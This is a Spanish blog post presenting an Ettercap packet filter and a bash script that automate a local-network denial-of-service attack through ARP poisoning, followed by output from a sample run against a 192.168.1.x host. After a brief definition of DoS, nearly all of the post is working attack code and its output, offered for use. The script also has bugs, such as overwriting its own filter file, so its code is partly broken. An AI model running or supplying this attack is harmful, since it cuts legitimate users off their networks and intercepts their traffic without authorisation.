Buenas tardes,
Hoy voy a publicar un pequeño filtro para Ettercap para realizar una denegación de servicio.
Que es un ataque DOS:
En seguridad informática, un ataque de denegación de servicio, también llamado ataque DoS(de las siglas en inglésDenial of Service), es un ataque a un sistema de computadoras o red que causa que un servicio o recurso sea inaccesible a los usuarios legítimos. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales del sistema de la víctima.
Se genera mediante la saturación de los puertos con flujo de información, haciendo que el servidorse sobrecargue y no pueda seguir prestando servicios, por eso se le denomina “denegación”, pues hace que el servidor no dé abasto a la cantidad de solicitudes. Esta técnica es usada por los llamados Crackers para dejar fuera de servicio a servidores objetivo.
Filtro Ettercap
if (ip.src == 'DIRECCION IP ' || ip.dst == 'DIRECCION IP')
{
drop();
kill();
}Para no tener que editar el fichero del filtro e creado un pequeño Script muy guarro la verdad… pero bueno. funciona jajaja.
#!/bin/bash
#Script ddos Ettercap
#Miramos si el usuario que este ejecutando es root. si no lo es, hacemos un exit
if [ $(whoami) != "root" ]; then
echo "Debes ser root para correr este script."
echo "Para entrar como root, escribe \"su\" sin las comillas."
exit 1
#Miramos si tiene instalado el Ettercap, si no lo tiene hacemos un exit
elif [ ! -x "/usr/sbin/ettercap" ]; then
echo "Parece que no tienes instalado Ettercap"
echo "Para instalarlo en distribuciones basadas en Debian: apt-get install ettercap"
echo "Para instalarlo en distribuciones basadas en Redhat: yum install ettercap"
exit 1
fi
#Ponemos un a cabecera bonita
echo
echo " Script ddos Ettercap"
echo "_____ ____ __________________"
echo
#Preguntamos la dirección Origen, Destino y la interfaz
read -p "Introduzca direccion origen: " ipsrc
read -p "Introduzca direccion destino: " ipdst
read -p "Introduzca la Interfaz. Ejemplo eth0: " inter
#Miramos si el archivo dos.eft existe, en caso que exista lo borramos
#Y lo creamos de nuevo con la configuracion añadida anteriormente
#Es una gilipollez pero nose porque lo echo asi
if [ -e dos.eft ]
then
rm -r dos.eft
echo "if (ip.src == '$ipsrc' || ip.dst == '$ipdst') " >> dos.eft
echo "{" >> dos.eft
echo "drop();" >> dos.eft
echo "kill();" >> dos.eft
echo "msg('Toma kill 9!!!!');" dos.eft
echo "}" >> dos.eft
#Una vez generado el archivo hacemos un etterfilter para generar dos.ef
etterfilter dos.eft -o dos.ef
#En el caso que el archivo dos.eft no existiese hacemos lo mismo
#Genera el archivo y le pasa los datos agregados anteriormente
else
echo "if (ip.src == $ipsrc || ip.dst == $ipdst) {" > dos.eft
echo "drop();" > dos.eft
echo "kill();" > dos.eft
echo "msg('Toma kill 9!!!!');" dos.eft
echo "}" > dos.eft
etterfilter dos.eft -o dos.ef
fi
#Comprueba que dos.ef exista, si existe realizamos el ataque.
if [ -e dos.ef ]
then
ettercap -T -q -F dos.ef -M ARP /$ipdst/ // -i $inter
#En caso que no exista lo creamos con etterfilter y empezamos el ataque
else
etterfilter dos.eft -o dos.ef
ettercap -T -q -F dos.ef -M ARP /$ipdst/ // -i $inter
fiAtacante
Ejemplo: de utilización:
rokitoh@red-orbitasudo:~# sh ddos.sh
Script ddos Ettercap
_____ ____ __________________
Introduzca direccion origen: 192.168.1.100
Introduzca direccion destino: 192.168.1.105
Introduzca la Interfaz. Ejemplo eth0: eth1
msg(‘Toma kill 9!!!!’); dos.eftetterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARPParsing source file ‘dos.eft’ done.Unfolding the meta-tree done.Converting labels to real offsets done.Writing output to ‘dos.ef’ done.-> Script encoded into 7 instructions.ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGAContent filters loaded from dos.ef…
Listening on eth1… (Ethernet)eth1 -> 00:1F:D0:21:E9:3F 192.168.1.102 255.255.255.0SSL dissection needs a valid ‘redir_command_on’ script in the etter.conf file
Privileges dropped to UID 65534 GID 65534…28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known servicesRandomizing 255 hosts for scanning…
Scanning the whole netmask for 255 hosts…
* |==================================================>| 100.00 %3 hosts added to the hosts list…ARP poisoning victims:GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing…Victima:
Comentarios